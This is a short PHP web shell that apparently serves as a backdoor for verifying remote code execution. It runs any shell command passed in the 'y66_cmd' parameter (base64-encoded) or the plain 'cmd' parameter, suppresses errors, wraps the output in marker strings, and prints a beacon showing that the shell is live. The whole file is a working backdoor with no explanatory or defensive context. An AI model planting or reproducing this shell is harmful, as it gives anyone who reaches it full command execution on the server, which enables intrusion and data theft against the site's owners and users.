<?php
/* Y66 RCE VERIFICATION a516151f0c9b */
error_reporting(0);

if(isset($_GET['y66_cmd'])) {
    $cmd = base64_decode($_GET['y66_cmd']);
    $output = @shell_exec($cmd);
    echo "Y66_CMD_OUTPUT_START_a516151f0c9b";
    echo $output ? $output : "NO_OUTPUT";
    echo "Y66_CMD_OUTPUT_END_a516151f0c9b";
    exit;
}

if(isset($_GET['cmd'])) {
    $output = @shell_exec($_GET['cmd']);
    echo "<pre>";
    echo $output ? $output : "NO_OUTPUT";
    echo "</pre>";
    exit;
}

echo "Y66_SHELL_ACTIVE_a516151f0c9b";
?>